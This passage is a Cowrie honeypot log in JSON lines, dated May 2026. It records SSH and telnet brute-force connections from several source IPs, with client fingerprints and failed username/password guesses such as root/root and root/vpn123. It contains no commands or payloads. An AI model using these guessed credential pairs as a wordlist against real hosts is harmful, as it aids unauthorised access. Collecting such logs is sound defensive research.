-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:17.031881Z","src_ip":"45.156.87.204","session":"77d8242bf264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:17.339259Z","src_ip":"45.156.87.204","session":"77d8242bf264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45380,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdf9940c312","protocol":"telnet","message":"New connection: 152.42.224.71:45380 (10.17.0.5:23) [session: cfdf9940c312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:18.018664Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:18.424390Z","src_ip":"45.156.87.204","session":"77d8242bf264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb9f0a7910d","protocol":"ssh","message":"New connection: 45.156.87.204:45490 (159.203.135.109:22) [session: 4cb9f0a7910d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:20.523262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:20.527621Z","src_ip":"45.156.87.204","session":"4cb9f0a7910d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:20.609407Z","src_ip":"45.156.87.204","session":"4cb9f0a7910d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:20.856769Z","src_ip":"45.156.87.204","session":"4cb9f0a7910d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189113616943,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:21.547179Z","src_ip":"152.42.224.71","session":"977c180a9e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:22.142602Z","src_ip":"45.156.87.204","session":"4cb9f0a7910d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"e149e7f9b89d","protocol":"ssh","message":"New connection: 45.156.87.204:52598 (159.203.135.109:22) [session: e149e7f9b89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:24.220850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:24.225224Z","src_ip":"45.156.87.204","session":"e149e7f9b89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:24.307117Z","src_ip":"45.156.87.204","session":"e149e7f9b89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:24.554344Z","src_ip":"45.156.87.204","session":"e149e7f9b89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"29908ac75a22","protocol":"telnet","message":"New connection: 152.42.224.71:45402 (10.17.0.5:23) [session: 29908ac75a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:24.783998Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45388,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f102810ea3","protocol":"telnet","message":"New connection: 152.42.224.71:45388 (10.17.0.5:23) [session: 65f102810ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:25.161675Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":60700,"dst_ip":"159.203.135.109","dst_port":22,"session":"5398c18368e4","protocol":"ssh","message":"New connection: 42.200.78.78:60700 (159.203.135.109:22) [session: 5398c18368e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:25.534079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:25.538661Z","src_ip":"42.200.78.78","session":"5398c18368e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:25.638302Z","src_ip":"45.156.87.204","session":"e149e7f9b89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:25.753202Z","src_ip":"42.200.78.78","session":"5398c18368e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":52754,"dst_ip":"159.203.135.109","dst_port":22,"session":"69547322ebb2","protocol":"ssh","message":"New connection: 119.28.114.76:52754 (159.203.135.109:22) [session: 69547322ebb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:26.152311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:26.158882Z","src_ip":"119.28.114.76","session":"69547322ebb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:26.387880Z","src_ip":"119.28.114.76","session":"69547322ebb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEasdzxc","message":"login attempt [root/!@#QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:26.645458Z","src_ip":"42.200.78.78","session":"5398c18368e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn123","message":"login attempt [root/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.335577Z","src_ip":"119.28.114.76","session":"69547322ebb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":59984,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5ab85f99e3","protocol":"ssh","message":"New connection: 103.75.182.198:59984 (159.203.135.109:22) [session: cd5ab85f99e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.353838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.358878Z","src_ip":"103.75.182.198","session":"cd5ab85f99e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.605696Z","src_ip":"103.75.182.198","session":"cd5ab85f99e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.30819892883301,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.841780Z","src_ip":"152.42.224.71","session":"33bb40ae401a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.862068Z","src_ip":"42.200.78.78","session":"5398c18368e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52606,"dst_ip":"159.203.135.109","dst_port":22,"session":"af838e0685ec","protocol":"ssh","message":"New connection: 45.156.87.204:52606 (159.203.135.109:22) [session: af838e0685ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.959568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:27.972273Z","src_ip":"45.156.87.204","session":"af838e0685ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:28.048464Z","src_ip":"45.156.87.204","session":"af838e0685ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cjkywt","message":"login attempt [root/cjkywt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:28.360269Z","src_ip":"103.75.182.198","session":"cd5ab85f99e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:28.366833Z","src_ip":"45.156.87.204","session":"af838e0685ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:28.591320Z","src_ip":"119.28.114.76","session":"69547322ebb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:29.451674Z","src_ip":"45.156.87.204","session":"af838e0685ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"3881cec2f71b","protocol":"telnet","message":"New connection: 152.42.224.71:54640 (10.17.0.5:23) [session: 3881cec2f71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:29.521769Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:29.610578Z","src_ip":"103.75.182.198","session":"cd5ab85f99e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":50206,"dst_ip":"10.17.0.5","dst_port":22,"session":"15c58b3e4ee6","protocol":"ssh","message":"New connection: 176.65.132.218:50206 (10.17.0.5:22) [session: 15c58b3e4ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:30.809141Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:30.814761Z","src_ip":"176.65.132.218","session":"15c58b3e4ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":50216,"dst_ip":"10.17.0.5","dst_port":22,"session":"61bc85e25b16","protocol":"ssh","message":"New connection: 176.65.132.218:50216 (10.17.0.5:22) [session: 61bc85e25b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:30.954676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:30.959649Z","src_ip":"176.65.132.218","session":"61bc85e25b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:31.044550Z","src_ip":"176.65.132.218","session":"61bc85e25b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:31.337831Z","src_ip":"176.65.132.218","session":"61bc85e25b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52608,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b9417ff752","protocol":"ssh","message":"New connection: 45.156.87.204:52608 (159.203.135.109:22) [session: d5b9417ff752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:31.649563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:31.655113Z","src_ip":"45.156.87.204","session":"d5b9417ff752","protocol":"ssh"}
